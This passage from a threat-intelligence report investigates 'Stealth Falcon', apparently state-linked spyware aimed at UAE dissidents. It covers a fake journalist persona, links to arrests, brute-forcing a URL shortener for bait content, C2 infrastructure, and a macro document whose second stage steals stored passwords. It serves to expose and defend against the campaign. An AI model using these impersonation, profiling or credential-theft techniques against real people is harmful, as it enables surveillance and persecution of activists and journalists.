However, it is possible that the link formerly exhibited redirect.php behavior: HTTP/1.1 302 Moved Temporarily Date: Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-1lenny13 Location: http://www.huffingtonpost.co.uk/rori-donaghy/uae-94_b_3549671.html Vary: Accept-Encoding Content-Type: text/html We found that Donaghy had responded to this message shortly after receiving it, offering to meet in-person with Andrew in the UK.
Andrew responded several weeks later with the following: From: andrew.dwight389outlook.com Subject: RE: Correspondence Request Hello Rori, Happy New Year I apologize for the delay in getting back to you.
I was on a ski holiday in upstate New York for the New Year and just returned to my current accommodations in the city.
I was due back sooner, but as you may know, the weather has not been agreeable here in the Eastern United States I am currently situated in the US.
while I complete my book to be closer to my publisher and editor.
The book focuses on the various guises used by Middle Eastern countries to demonstrate that they are providing equal and fair treatment with concern to human rights.
I am working with several organizations in identifying cases that reveal their true lack of concern for liberty and personal freedoms.
Im using these cases as testimony about this under reported issue.
Have you heard of a Swedish organization named Al Karama?
There website: http://en.alkarama.org/index.php?optioncom_contentviewarticleid1005Itemid74slid102 I have spoken to one of their junior editors and I am hoping to obtain input from some of their sources as well.
This issue never gets any smaller does it?
I hope that a few loud voices (and a well received book) can make a difference.
Cheers, Andrew While attempting to determine whether Andrew Dwight was a real person, we we found a Twitter profile, Dwight389 for the same persona, and that mentions the same address from which Donaghy received the email.
Figure 10: Andrew Dwights Twitter profile, Dwight389, mentioning the email address that corresponded with Donaghy in 2013, andrew.dwight389outlook.com We found that this account messaged three UAE dissident accounts via Twitter mentions.
While we were unable to establish if Dwight389 successfully attacked any of these individuals, we profile the targets below.
4.1.
Another Target: Obaid Yousef Al-Zaabi This section describes how the fake journalist persona contacted Obaid Yousef Al-Zaabi, a blogger who was arrested for criticising the UAE.
Figure 11: Dwight389 contacted bukhaledobaid on 24 April 2013 Obaid Yousef Al-Zaabi was arrested on 2 July 201343 for Tweeting about the UAE94 detainees (94 defendants prosecuted in a mass trial on charges of attempting to overthrow the government)44 on his bukhaledobaid account, which displays his real name.45 He was released due to health problems a month later, but was arrested again on 12 December 2013,46 a day after talking to CNN47 about the condition of US citizen Shezanne Cassim, imprisoned for making a parody video48 about youth culture in Dubai.49 Al-Zaabi and Cassim were imprisoned in the same cellblock.
Al-Zaabi was acquitted on 23 June 2014 of all charges including slander concerning the rulers of the UAE using phrases that lower their status, and accusing them of oppression and disseminating ideas and news meant to mock and damage the reputation of a governmental institution, but, according to information received from two UAE sources, Al-Zaabi is still imprisoned in the prisoners ward of a hospital.
A coalition of 13 human rights organizations including Amnesty International consider Al-Zaabis ongoing detention to be arbitrary, and without legal basis.50 Amnesty International reported that a senior State Security Prosecution official told Al- Zaabi he would continue to be detained even if acquitted.51 Al-Zaabis brother, Dr. Ahmed Al-Zaabi, is one of the UAE94 detainees and is currently serving a 10 year prison sentence.
According to a report by the Gulf Center for Human Rights, Ahmed was tortured in prison: his fingernails were pulled out, and he was beaten to the point he was left swollen, covered in bruises all over his body and with large amounts of blood in his urine.52 4.2.
Another Target:Professor Abdullah Al-Shamsi This section describes how the fake journalist persona contacted professor Abdullah Al-Shamsi, Vice Chancellor of the British University in Dubai.
Figure 12: Dwight389sent a message on 9 May 2013 suggesting he had targeted shamsiuae58 Professor Abdullah Al-Shamsi (shamsiuae58) is the Vice Chancellor of the British University in Dubai.53 He (Arabic name: ..   )54 is signatory 79 (out of 133) to a March 2011 petition to the UAE government55 for direct elections56 (UAE activist Ahmed Mansoor was arrested after signing the same petition).57 Al-Shamsis father ( ) was appointed to, and chaired the first sessions of, the Federal National Council (FNC), a legislative advisory council that is now an elected body.
He called for more powers to be given to the FNC.58 4.3.
Additional Targets: Qatari Citizens Sentenced to Prison Figure 13: Dwight389contacted northsniper on 7 November 2013 In May 2015, five Qataris were sentenced (one present in the UAE to 10 years in prison, and four in absentia to life in prison), for posting allegedly offensive pictures of the UAE Royal Family on three Twitter accounts and two Instagram accounts, 59 including northsniper.
60 At trial, the prosecution accused the five of being agents of Qatars State Security, and posting the allegedly offensive pictures as part of a military mission to show that Emiratis had offended their own leaders.
61 The northsniper account is currently suspended.
One Instagram account allegedly used by defendants in this case (9ip) is still active, and still appears to display unflattering photoshopped images of the President, Crown Prince, and Founder of the UAE.
62 5.
Stealth Falcons Widespread Targeting of UAE Figures This section describes how we identified additional Stealth Falcon victims and bait content, and traced Stealth Falcons spyware to additional C2 servers.
Given Stealh Falcons use of public Twitter mentions to contact individuals, we searched Google and Twitter for instances of aax.me links.
The links we found indicated that we could easily probe aax.me to get a comprehensive list of all currently active short URLs, and their corresponding long URLs.
Our findings point to a UAE-focused operator, whose bait content and targets are linked to the Emirates.
Furthermore, we were able to connect this attack to case from December 2012, where an anonymous UAE activist contacted us and claimed to have received a suspicious link from a Twitter account that was purportedly under government control.
5.1.
Public Targets and Links to Arrests This section describes 24 Stealth Falcon Twitter targets we identified on the basis of them receiving an aax.me link in a Twitter mention.
We found aax.me links targeting 24 accounts, each of whom was mentioned in a tweet that also contained an aax.me shortened link.
We were unable to get details about 17 of the accounts.
Of the accounts we have been able to identify, several individuals were subsequently arrested or convicted in absentia by the UAE Government in relation to their online activities.
The following table outlines these cases, and notes arrests.
For completeness, the table includes the cases from Section 4.1- 4.3: Handle Targeting Related Arrests / Convictions Note omran83 14 January 2012 63 16 July 2012 64 (arrested) UAE94 prisoner serving 7 years in prison.
65 weldbudhabi 5 August 2012 66 20 October 2012 67 14 December 2012 68 (arrested) intihakat 5 August 2012 69 25 December 2013 70 (convicted) Qatari convicted in absentia sentenced to 5 years in prison.
bukhaledobaid (Sec 4.1) 24 April 201371 2 July 201372 12 December 201373 (arrested) Brother of UAE94 prisoner acquitted of charges indefinitely detained in prisoners ward of hospital.
northsniper (Sec 4.3) 7 November 201374 18 May 201575 (convicted) Five Qataris convicted sentences ranged from 10 years to life in prison.
71UAE 9 January 201276 Last tweeted 1 July 2013, a day before arrest of bukhaledobaid.
kh_oz 10 January 201277 Likely son of bukhaledobaid.78 shamsiuae58 (Sec 4.2) 9 May 201379 Signed 2011 pro-democracy petition that Ahmed Mansoor was arrested after signing.
newbedon 9 January 201280 Donaghy describes the account as ensur[ing that] details of mistreatment [by security forces] are readily available.81 bomsabih 9 January 201282 Inactive since 8 October 2014.
Owner claimed affiliation with State Security Apparatus.
We list additional details in Appendix D: Public Stealth Falcon Tweets.
5.2.
Ennumerating aax.me for Bait Content This section describes how we probed every conceivable short URL on aax.me, and found 402 pieces of bait content that we believe were sent by Stealth Falcon.
All of the public aax.me links we found, as well as the links sent to Donaghy, matched the regular expression /aax\.me\/[0-9a- f]5/.
Assuming all links shortened via aax.me match this regular expression, there are only 165 (1,048,576) possible short URLs.
We sent a request to aax.me for each possible URL, and observed the returned page or redirect.
We found 57 URLs that exhibited the redirect.php profiling behavior, and 524 URLs that returned an HTTP 302 redirect to an expanded URL.
The other 1,047,995 aax.me links returned a HTTP 302 redirect to the aax.me homepage we assume these short URLs were unassigned to an expanded URL, as of the time of our scan.
We coded the long URLs where the URLs were still active, or where we could find an archived copy of, or some information about, the URL.
We were able to code 535 URLs, and failed to code 46 URLs as the corresponding websites were down, and we could not find reliable information about what content the URLs contained.
See Appendix E: Results of aax.me Scan for details.
We coded 133 URLs as advertisement (25 of all coded URLs), as they appeared to represent an advertisement for a product.
The vast majority of these advertisements seemed to be products typically marketed via spam (e.g., dietary supplement or green coffee).
We suspect that these links may have been shortened by spammers, as the aax.me URL shortening page is pubilcly accessible and indexed by Google, and YOURLS advises that publicly accessible URL shorteners will receive spam.83 All advertisement links were 302 redirects, and none were redirect.php links.
This is consistent with our observation that the aax.me public interface only permits visitors to shorten links using the 302 redirect method.
We filtered out the short URLs classified as advertisement.
There were 402 non-advertisement short URLs that we tagged.
We display a summary of the top ten tags below: Tag Number of Short URLs  of non-advertisement URLs UAE 292 73 Torture 57 14 Security Forces 49 12 Denaturalization 46 11 Isa bin Zayed 42 10 Rule of Law 40 10 Criticism 40 10 ABC News 40 10 Violations 33 8 Islam 29 7 We noted that a number of long URLs had multiple corresponding short URLs.
We display the top ten long URLs below.
Long URL  Short URLs Description http://www.youtube.com/watch?vF6NU4pc378k 40 ABC News report featuring video of Abu Dhabi Crown Princes brother, Sheikh Isa bin Zayed al-Nahyan, torturing an Afghani grain salesman.
http://mohaamoon.com/uae/17.htm 40 Personal website criticizing rule of law and human rights issues in the UAE, including torture, slavery, and imprisonment for debts.
https://r7aluae2.wordpress.com/2012/01/09/- ----/ 19 Copied statement from the Federation of Islamic Organizations in Europe (FIOE), criticizing the UAEs denaturalization of citizens.
https://www.a7rarelemarat.com/vb 10 Purported to be an opposition web forum for discussing Emirati issues, and providing proxy tools.
The site is now down, so we cannot inspect the specific forum posting.
http://google.com 9 Google.
https://www.a7rarelemarat.com/vb/showthread.php?p3423post3423 6 (see a7rarelemarat above) http://www.youtube.com/watch?vXcc9Tdc_Hxgfeatureplayer_embedded 5 Video montage talking about torture by UAE security forces.
http://www.youtube.com/watch?
vizeSn9Am6uslistUU2wwG6r1J_GRgXuMGi9m8FQindex1featureplcp 5 Video unavailable.
https://www.youtube.com/watch?featureplayer_embeddedvQ3aQpfyXSrg 5 Video published by Al Islah, which appears to be a montage of UAE political detainees.
https://www.a7rarelemarat.com/vb/forumdisplay.php?f3 5 (see a7rarelemarat above) 5.3.
A Connection to an Account Potentially Under UAE Government Control This section describes a case from December 2012 where an Emirati activist said he received links connected to aax.me from an account that may have been under UAE government control.
In December 2012, an author of this report was contacted by an Emirati activist, who reported that an account, WeldBudhabi, had sent him a link on 14 December 2012 via Twitter direct message that took him to a page on a7rarelemarat.com.
A report by BBC notes that UAE authorities on 14 December 2012 arrested an individual who they believed to be associated with WeldBudhabi, and that the account was reportedly hacked by the authorities on the same day.84 The Emirati activist told us that he later contacted WeldBudhabi, who reported that he did not send the link.
This link provides the strongest connection between Stealth Falcon and the UAE Authorities that we are aware of.
a7rarelemarat.com is a now-defunct website that purported to be an opposition web forum for discussing Emirati issues, and providing proxy tools for hiding from the thugs (presumably a reference to the UAE State Security Apparatus).
We found four links involving aax.me posted by the sites Twitter account, a7rarelemarat.
We display two Tweets below, as the rest of the Tweets had the same links: Figure 14: a7rarelemarat targeted WeldBudhabi with a malicious link on 20 October 2012 Twitters API records the date of the tweets creation: Sun Oct 21 05:05:41 0000 2012 We also accessed the goo.gl link statistics, and found that the goo.gl link in the tweet was created less than two minutes prior to the tweet: 2012-10-21T05:03:45.58500:00 The second tweet exhibited a similar pattern: Figure 15: a7rarelemarat publicly sent a malicious link on 2October 2012 Twitters API records the date of the tweets creation: Wed Oct 03 06:54:33 0000 2012 We again accessed the goo.gl link statistics, and found that the goo.gl link in the tweet was created less than one minute prior to the tweet: 2012-10-03T06:53:45.15100:00 The link redirects to https://www.a7rarelemarat.com/vb/showthread.php?p3423post3423 via http://aax.me/d910a.
The use of both goo.gl and aax.me in these cases suggests that the goo.gl link may have been designed to conceal the aax.me domain.
Also, the proximity in creation time between the Tweet and the goo.gl link suggests that the person who posted the Tweet through a7rarelemarat was likely the same person who created the goo.gl link.
We suspect that the aax.me operator had some control over a7rarelemarat at the time, and may have had control of a7rarelemarat.com as well.
5.4.
Infrastructure Analysis of Stealth Falcon Command  Control This section describes how we traced Stealth Falcons spyware to live C2 servers and domain names.
We fingerprinted the behavior of adhostingcache.com (the C2 server for the Stage One spyware that Donaghy received) and traced it to a series of 14 active IP adresses and 11 domains (using PassiveTotal85).
Nine domains are named like generic Internet backend servers (e.g., simpleadbanners.com, clickstatistic.com), whereas two appear to be thematically related to travel (bestairlinepricetags.com, fasttravelclearance.com), perhaps indicative of travel-themed targeting or targets.
We fingerprinted the behavior of incapsulawebcache.com (the C2 server for the Stage Two spyware that Donaghy receied) and scanned the Internet (including historical scanning results86) for servers that matched our fingerprint.
We also used Passive DNS to correlate IP addresses to domains.
In total, we associated 67 active (and 30 historical) IP addresses with the Stage Two spyware.
Using PassiveTotal, we linked 69 domain names to these IP addresses, the earliest registered on 28 January 2013, and the most recent registered on 19 April 2016.
The vast majority of the domains are named like generic Internet backend servers.
One domain name appears to be travel-themed (airlineadverts.com), and two appear to be news and/or government themed (ministrynewschannel.com, ministrynewsinfo.com).
The earliest date we found an IP addresses matching our Stage Two fingerprint was 21 July 2014, as recorded by sonar-ssl scans.
It is possible that the operator used a different configuration of spyware between January 2013 and July 2014.
We traced several additional domains to Stealth Falcon using WHOIS information, or Passive DNS.
Of these, one was designed to impersonate a China-based provider of VoIP solutions (yeastarr.com), and two appeared to perhaps contain the Arabic word for security, amn, (amnkeysvc.com, amnkeysvcs.com).
Full scan results and other indicators of targeting can be found in Appendix F: Indicators of Targeting.
The domain names we found were typically registered with WHOIS privacy providers.
Although, in some cases, we were able to obtain the true registration email through historical WHOIS.
Typically, the operators practiced disciplined operational security: we rarely found an email address that was used to register two domains, and we rarely found two domains linked to the same IP address.
5.5.
May 2016: New Stealth Falcon Document In May 2016, the following document was submitted to VirusTotal: Filename: message_032456944343.docm MD5: 87e1df6f36b96b56186444e37e2a1ef5 SHA1: 1c3757006f972ca957d925accf8bbb3023550d1b SHA256: 4320204d577ef8b939115d16110e97ff04cb4f7d1e77ba5ce011d43f74abc7be The document was similar to the one sent to Donaghy, except that it purported to be encrypted with WordSecure, a simple, HIPAA .. business-grade software for sharing encrypted files and secure messages with anyone.87 The bait content was a single line of text reading: MESSAGE_ERROR: 0E684AD042_(LANGUAGE NOT SUPPORTED) The documents macro was identical to the one sent to Donaghy, except it reported back to, and downloaded Stage Two from a different URL: http://optimizedimghosting.com/wddf/hrrw/ggrr.txt.
The server optimizedimghosting.com matched our Stage One fingerprint for adhostingcache.com.
We obtained Stage Two, which appeared to be a newer version of the Stage Two than in Donaghys case.
The Stage Two in this case reported back to https://edgecacheimagehosting.com/images/image.nfo.
The server edgecacheimagehosting.com matched our Stage Two fingerprint for incapsulawebcache.com.
When we connected, the Stage Two server sent us additional commands (which we were unable to obtain in Donaghys case).
The Stage Two C2 sent us a bundle of 7 commands, that did the following: 1.
Gathered system info from WMI 2.
Gathered the ARP table 3.
Gathered a list of running processes 4.
Materialized a file OracleJavaUpdater.ps1 to disk.
This file gathers passwords and web browser data from a variety of sources: Windows Credential Vault, Internet Explorer, Firefox, Chrome, Outlook.
In general, the file appears to be bespoke attacker code, though some routines are copied from other sources (e.g., some Internet Explorer password gathering code appears to be lifted from the GPLv3-licensed QuasarRAT 88 ) 5.
Executed OracleJavaUpdater.ps1 6.
Deleted OracleJavaUpdater.ps1 7.
Gathered a list of running processes again After command execution, results were returned to the Stage Two C2.
6.
Tip of the Iceberg: Possibly Related Attacks We suspect that the activity we have observed is simply the tip of the iceberg in ongoing attacks against dissidents in the UAE.
Reuse of tactics, techniques and procedures and general carelessness by operators can often lead to discovery of links between campaigns.
We briefly discuss some instances of potentially related attacks below.
6.1.
An Instagram attack?
We noticed that one of the Twitter accounts that sent out aax.me links, um_zainab123, solicited followers for an Instagram account al7ruae2014.
Figure 16: um_zainab123soliciting followers for Instagram account al7ruae2014 on 26 April 2014 Figure 17: The al7ruae2014 Instagram account We contacted an activist with knowledge of the UAE94 case, who told us that the al7ruae2014 Instagram account got in touch with several family members of detainees involved in the case, and was soliciting information from them via Instagram private message.
The domain name al7ruae2014.com has the same name as the Instagram account, so we suspect it may also be related to the operator.
6.2.
A fake file sharing site?
We identified one aax.me link (http://aax.me/4b708) that points to http://velocityfiles.com/download.php?
ida81abdd8a0c0cd1d5d3b6baadcc9eb18.
We visited this link in February 2016, and were served a blank page.
VelocityFiles appears to have been disabled in March 2016.
We found that the site purported to be a file hosting site, where users could register and upload files.
However, the registration and signup pages are currently blank, and were blank as of the Internet Archives oldest capture of the pages in December 2013.
89 We were unable to identify any links to velocityfiles.com from Twitter, or any pages indexed by Google.
The design of VelocityFiles appeared to be a loosely modified version of a public website design template.
90 Given that the site appears to be designed to pose as a public file sharing service, has no obvious public functionality, and was linked to through aax.me, we suspect that it may have been an attack site.
Figure 18: Comparison between web design template image (left) and VelocityFiles website (right).
Given VelocityFiles reference to FREE MD5 HASHING (their emphasis), it is possible that the value of the id parameter in the URL, a81abdd8a0c0cd1d5d3b6baadcc9eb18, represents the MD5 hash of a file.
We were, however, unable to locate any file with this MD5 hash.
6.3.
Fake web forums?
We found an aax.me link 91 that pointed to https://call4uaefreedom.com/vb.
The domain was registered on 5/15/2013 and expired on 5/15/2015.
We were unable to find any webpages or tweets linking to this website.
A Google search for call4uaefreedom reveals a blog, containing five posts, all within a 30 minute span on 4 June 2013, and an empty Twitter account call4uaefreedom, created in May 2013.
Given the suspicious activity associated with the alias call4uaefreedom, this may have been created by operators.
While searching for domains with similar domain names, we came across uaefreedom.com.
The domain name was first registered on 11 June 2010 by the administrators of UAE Hewar, 92 an online discussion forum founded in 2009 that was a frequent government target.
The domain name expired on 11 June 2011, but was re-registered by a different registrant on 7 October 2012.
On 16 October 2012, we find the only tweet linking to uaefreedom.com.
A Google search yields no links to the site and we found no passive DNS data available for this domain.
The tweet was sent from account FreeUAE2012, directed at uaemot.
An individual based in Qatar was convicted in absentia on 25 December 2013 for running uaemot.93 Figure 19: FreeUAE2012 contacts uaemot with a suspicious link on 16 October 2012 Other public tweets involving FreeUAE2012 included two responses94 from Ahmed Mansoor to FreeUAE2012 on 10 October 2012, regarding the 10 October 2012 Citizen Lab report about how Ahmed Mansoor was targeted with Hacking Team spyware.
The tweets from FreeUAE2012 to which Ahmed Mansoor was responding appear to have been deleted.
Three days later, FreeUAE2012 attempted to convince Ahmed Mansoor that Tor Browser logged private information of its users, posting a screenshot of the Tor Metrics page, which provides non-sensitive data for researchers.95 Figure 20: FreeUAE2012 attempts to convince Ahmed Mansoor that Tor logs private information of its users 7.
Attribution In this section, we analyze two competing hypotheses about the identity of Stealth Falcon, and conclude that the balance of evidence suggests Stealth Falcon may be linked to the UAE government.
Hypothesis 1: Stealth Falcon is State Sponsored Stealth Falcon is a sophisticated threat actor, capable of deploying a wide range of technical and social engineering techniques against a potential target.
The operations targeting Donaghy are linked to a series of primarily UAE-focused campaigns against UAE dissidents, starting in January 2012.
While there is no smoking gun, several pieces of evidence suggest a connection between Stealth Falcon and the UAE Government.
UAE Focused Targeting, Links to Arrests The majority (73) of bait content on aax.me was focused on UAE-related political issues (Section 5.2).
Furthermore, of the 27 victim Twitter accounts we linked to public Stealth Falcon targeting, 24 primarily engaged in political activities, or were otherwise critical of the UAE government (Section 5.1).
Of these 24, we were able to find a subsequent arrest or a conviction in absentia by the UAE government.
Tweets During a Period of Government Control A reported case in which a Twitter account apparently under UAE Government control shared a Stealth Falcon link also suggests a connection.
In December 2012, an activist contacted us and asserted that an a7rarelemarat.com link was sent to him in a private message from the WeldBudhabi account the same day that an individual accused of operating the account was arrested, and while the account was reportedly hacked by authorities.
96 The activist asserted that he contacted an owner of the account, who claimed he did not send that link.
The Twitter account associated with a7rarelemarat.com, a7rarelemarat, appears to have been under the control of Stealth Falcon at some point during October 2012 (and possibly before and after), as the account sent several aax.me links in October 2012.
Sophisticated Target Knowledge and Operational Security Stealth Falcon demonstrates some familiarity with the patterns of behavior, interests, and activities of its targets, suggesting that the operators may have been working with other sources of information about their targets behaviors.
In addition, Stealth Falcon displayed above-average operational security throughout the campaign.
Some of the social engineering was highly intricate, particularly the email from Andrew Dwight about his ski holiday.
Stealth Falcon also shows familiarity with creating and maintaining a range of fictitious personas, and registering and managing a significant amount of attack and C2 infrastructure with concern for operational security.
The infrastructure behind the malware attacks showed good compartmentalization of identities.
We rarely found the same (fake) registration information used for more than one C2 domain.
Stealth Falcon operators also appear to have deleted one of their attack domains, adhostingcache.com when they realized their attempt to target Donaghy had failed.
We also noted that the (self-signed) SSL certificates on the C2 domains were changed several times as we monitored the infrastructure, perhaps in an attempt to thwart fingerprinting of their infrastructure via SSL certificates.
This level of sophistication is consistent with a state sponsored attacker.
Importantly, we found little evidence that indicate criminal or other motivation for the attack, with no evidence of financial or industry targeting.
We also note that while some Stealth Falcon domains were registered on anonymousbitcoindomains.com, which is linked to APT28 activities, we found no evidence to support such a connection.
See Appendix G: No Evidence of APT28 Connection for more details.
Hypothesis 2: Stealth Falcon is Not State Sponsored We have considered the possibility that Stealth Falcons operators are not state sponsored, but ultimately find little evidence to support this possibility.
Stealth Falcons attacks show no evidence of cyber criminal motivations, like financial theft or fraud, nor is there any evidence of attempts to steal intellectual property or conduct other forms of economic espionage.
Instead, the targets are politically engaged individuals and public figures.
Furthermore, the activity of targets we have been able to identify often concerns domestic UAE issues.
Therefore, we would need to posit an operator with an interest in individuals known for their engagement in domestic UAE issues.
Other potential motivations might include blackmail or extortion.
If this were the case, however, we might expect follow-up interactions between attackers and successful victims, and we would also expect attackers to use off-the-shelf Remote Access Tools (RATs), rather than apparently coding a general-purpose RAT from scratch.
This would save them the trouble of needing to load additional malware to exfiltrate files or other material.
We are aware of no evidence of follow-up interactions between the operators and successful victims as part of any extortion attempts.
Furthermore, Stealth Falcons use of JavaScript to profile and de-anonymize victims seems inconsistent with a primary motivation of collecting information that could be used for blackmail.
The strongest scenario for a non-state sponsored attacker is thus a politically motivated group.
Stealth Falcon targets are primarily individuals known for their criticism of the UAE government.
It is perhaps conceivable that a group of pro- government hackers might, without coordination, target these individuals.
There are, however, several features of Stealth Falcons activities that tell against this possibility.
First, there is limited existing evidence that such autonomous groups exist and are active in the UAE.
Given what is known about this kind of group, we might expect such a group to have engaged in defacements, public boasting, or other public-facing activities related to Stealth Falcons campaign.
Furthermore, it seems unlikely that a previously unknown political group would have the resources to develop and maintain Stealth Falcons fictitious personas and compartmentalized infrastructure.
Evaluation of Hypotheses We evaluated both hypotheses and found Hypothesis 1: Stealth Falcon is State Sponsored to be the best at explaining the many elements that we have observed.
Stealth Falcons tactics, resources, and targets all fit with the profile of a state sponsored attacker.
Furthermore, the circumstantial evidence we have presented in this report is suggestive of a link between Stealth Falcon and an entity within the UAE Government.
8.
Conclusion: The Big Picture Stealth Falcon appears to be a new, state sponsored threat actor.
As an operator, Stealth Falcon is distinguished by well informed and sophisticated social engineering, combined with moderately sophisticated97 technical attempts to deanonymize and monitor political targets working on the UAE, and relatively simple malcode.98 Social Engineering and the Achilles Heel of Civil Society Stealth Falcons technical approach may not be cutting edge, but the operators are neither unsophisticated or ineffective.
Analyzed holistically as an operation, Stealth Falcon is a logical and multi-pronged approach to compromising and unmasking a class of targets.
Stealth Falcons campaign highlights the power of social engineering, once a technical bar has been met, in conducting a large scale campaign.
Contemporary social movements and civil society groups rely heavily on the internet for both their core operations, as well as advocacy activities.
Yet these groups are often operating outside a centrally managed IT environment.
The constant sharing of links and materials, as well as regular communications with journalists makes them especially vulnerable to targeting with social engineering.
However, the emphasis on social engineering can also cut in the other direction.
Many modern attack techniques require an attacker to interact with a target.
When operators like Stealth Falcon send malicious e-mails and tweets, there are a range of opportunities for retrospective investigation.
As this report shows, the inboxes of targets, for example, are often a more efficient object of investigation than computers themselves, especially once features of a particular campaign are recognized.
The Growing Trend of Impersonating Journalists Stealth Falcon is only the latest example of civil society-focused threat actors impersonating NGOs and journalists to conduct espionage operations.
The tactic has been used by a wide range of actors, including Bahrains government,99 Packrat in Latin America,100 Iranian groups,101 and China related groups,102 among others.
Threat actors seem to gravitate towards this tactic because interacting with journalists is an essential part of civil society activity.
It is common for journalists to send unsolicited messages to activists and civil society organizations asking for information, and there is typically a strong incentive for the organization to engage.
Indeed, even Western law enforcement agencies have occasionally adopted the approach.103 The reporter-source relationship is protected in many jurisdictions, based on the understanding that protecting this trust is important to a healthy and vibrant civil society.
Tactics that play on this trust are risky, and can quickly contribute to eroding the trust on which civil society is based.
Final Note: A Plea for More Research Importantly, while we were unable to identify evidence of a conclusive link between Stealth Falcon and a particular sponsor, we have assembled a body of circumstantial evidence that points to an alignment of interests between Stealth Falcon and the UAE Security Forces.
We hope that other researchers will draw from our findings and work to identify additional cases.
Finally, we urge anyone who recalls receiving a link to aax.me, or an email from Andrew Dwight to contact the authors of this report for further investigation.
Acknowledgements Special thanks to PassiveTotal and Rori Donaghy.
Thanks to Jeffrey Knockel, Sarah McKune, Chris Doman, Mansoureh Mills.
Footnotes 1 http://www.youthdiplomaticservice.com/zzold-business-blog/category/business 2 See for example: http://www.middleeasteye.net/news/leaks-show-uae-shipped-weapons-libya-violated-un-resolution- 1712843977 http://www.middleeasteye.net/news/uae-paid-pr-firm-millions-brief-uk-journalists-qatar-muslim-brotherhood- attacks-1058875159 http://www.middleeasteye.net/news/leaks-show-uae-shipped-weapons-libya-violated-un-resolution- 1712843977 http://www.middleeasteye.net/news/exclusive-emirati-plan-ruling-egypt-2084590756 3 http://www.middleeasteye.net/users/rori-donaghy 4 http://www.middleeasteye.net/about-middle-east-eye-1798743352 5 http://www.echr.org.uk/ 6 http://www.echr.org.uk/?page_id25 7 https://freedomhouse.org/report/freedom-world/2015/united-arab-emirates 8 https://www.hrw.org/world-report/2016/country-chapters/united-arab-emirates 9 https://www.amnesty.org/en/countries/middle-east-and-north-africa/united-arab-emirates/ 10 https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-marczak.pdf 11 https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/ 12 https://wikileaks.org/hackingteam/emails/emailid/585453 13 http://www.uae-embassy.org/news-media/sheikh-mohamed-bin-zayed-al-nahyan-meets-congressional-leaders-and-senior- us-government 14 https://ht.transparencytoolkit.org/rcs-dev5Cshare/HOME/cristian/9.420lic/UAEAF/LICENSE-1262004202-v9.4.lic 15 https://owncloud.org/ 16 https://www.proofpoint.com/us/office365 17 http://righttofightexhibit.org/home/ 18 http://www.powershellempire.com/ 19 http://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights-151103070038231.html 20 Based on last-modified header 21 http://www.andlabs.org/tools/jsrecon.html 22 https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-slides.pdf 23 https://yourls.org/ 24 https://github.com/YOURLS/YOURLS 25 A Firefox extension to be used in conjunction with Tor, before the introduction of Tor Browser 26 Importantly, making Tor users appear similar to non-Tor users was a not a goal 27 https://trac.torproject.org/projects/tor/ticket/5922 28 https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-gregory_fleischer-attacking_tor.pdf 29 https://blog.torproject.org/blog/new-tor-browser-bundles-windows 30 https://blog.torproject.org/blog/tor-browser-36-released 31 https://msdn.microsoft.com/en-us/library/2yfce773(vvs.94).aspxs-e6f6a65cf14f462597b64ac058dbe1d0-system-media- system-caps-note 32 https://en.wikipedia.org/wiki/Cross-origin_resource_sharing 33 https://esupport.trendmicro.com/en-us/home/pages/technical-support/1057722.aspx 34 http://support.kaspersky.com/us/11255 35 http://ssj100.fullsubject.com/t446-avira-antivir-premium-allows-all-outbound 36 http://www.wilderssecurity.com/threads/port-80-is-redirected-to-30606-and-no-webpage-is-opened.212599/ 37 https://community.mcafee.com/thread/21790?tstart0 38 The tool is available at: http://www.andlabs.org/tools/jsrecon.html.
The JavaScript source code may be viewed by viewing the source of jsrecon.html 39 https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-slides.pdf 40 http://www.andlabs.org/tools/jsrecon/jsrecon.html 41 https://code.google.com/p/google-security-research/issues/detail?id679 42 http://www.huffingtonpost.co.uk/rori-donaghy/uae-94-verdict_b_3549671.html 43 http://en.rsf.org/emirats-arabes-unis-journalist-held-incommunicado-02-08-2013,45013.html 44 https://www.indexoncensorship.org/2015/03/united-arab-emirates-stop-the-charade-and-release-activists-convicted-at-the- mass-uae-94-trial/ 45 http://blogs.voanews.com/repressed/2014/01/14/update-shez-cassim-back-home-after-months-in-uae-jail/ 46 http://www.al-monitor.com/pulse/originals/2014/07/uae-twitter-imprisoned-not-guilty-activist-cyber-crime.html 47 http://newday.blogs.cnn.com/2013/12/11/u-s-man-in-jail-in-dubai-over-parody-video/ 48 https://www.youtube.com/watch?vIUk5CB9kaBY 49 http://www.nydailynews.com/news/national/shezanne-cassim-sentenced-year-united-arab-emirates-parody-video-article- 1.1556327 50 https://www.article19.org/resources.php/resource/37279/en/united-arab-emirates:-stop-the-charade-and-release-activists- convicted-at-the-mass-uae-94-trial 51 https://www.amnesty.org/en/documents/mde25/015/2014/en/ 52 http://www.gc4hr.org/report/view/33 53 http://www.buid.ac.ae/vc 54 http://www.wam.ae/ar/news/emirates/1395239973989.html 55 http://emarati.katib.org/2011/03/09/D8A5D985D8A7D8B1D8A7D8AAD98AD988D986- D98AD8B1D981D8B9D988D986-D8B1D8B3D8A7D984D8A9- D984D8ADD983D8A7D985-D8A7D984D8A5D985D8A7D8B1D8A7/ 56 http://www.cnn.com/2011/WORLD/meast/03/09/uae.petition/ 57 http://www.bbc.com/news/world-middle-east-13043270 58 http://www.alittihad.ae/details.php?id8416y2005 59 http://www.thenational.ae/uae/courts/defendant-denies-insulting-leaders-of-uae-on-social-media 60 http://dohanews.co/uae-court-convicts-qataris-for-insulting-royals-on-social-media/ 61 http://www.thenational.ae/uae/foreign-agent-ordered-to-spread-false-information-about-uae 62 https://www.instagram.com/9ip/ 63 https://twitter.com/Bu_saeed2/status/158267593269063680 64 http://www.gc4hr.org/news/view/198 65 http://www.echr.org.uk/?page_id207 66 https://twitter.com/islam_way_2030/status/232392466760863744 67 https://twitter.com/a7rarelemarat/status/259883131807621120 68 http://www.bbc.com/news/world-middle-east-20768205 69 https://twitter.com/islam_way_2030/status/232393358243401728 70 http://www.echr.org.uk/?p1104 71 https://twitter.com/Dwight389/status/327033672979079168 72 http://en.rsf.org/emirats-arabes-unis-journalist-held-incommunicado-02-08-2013,45013.html 73 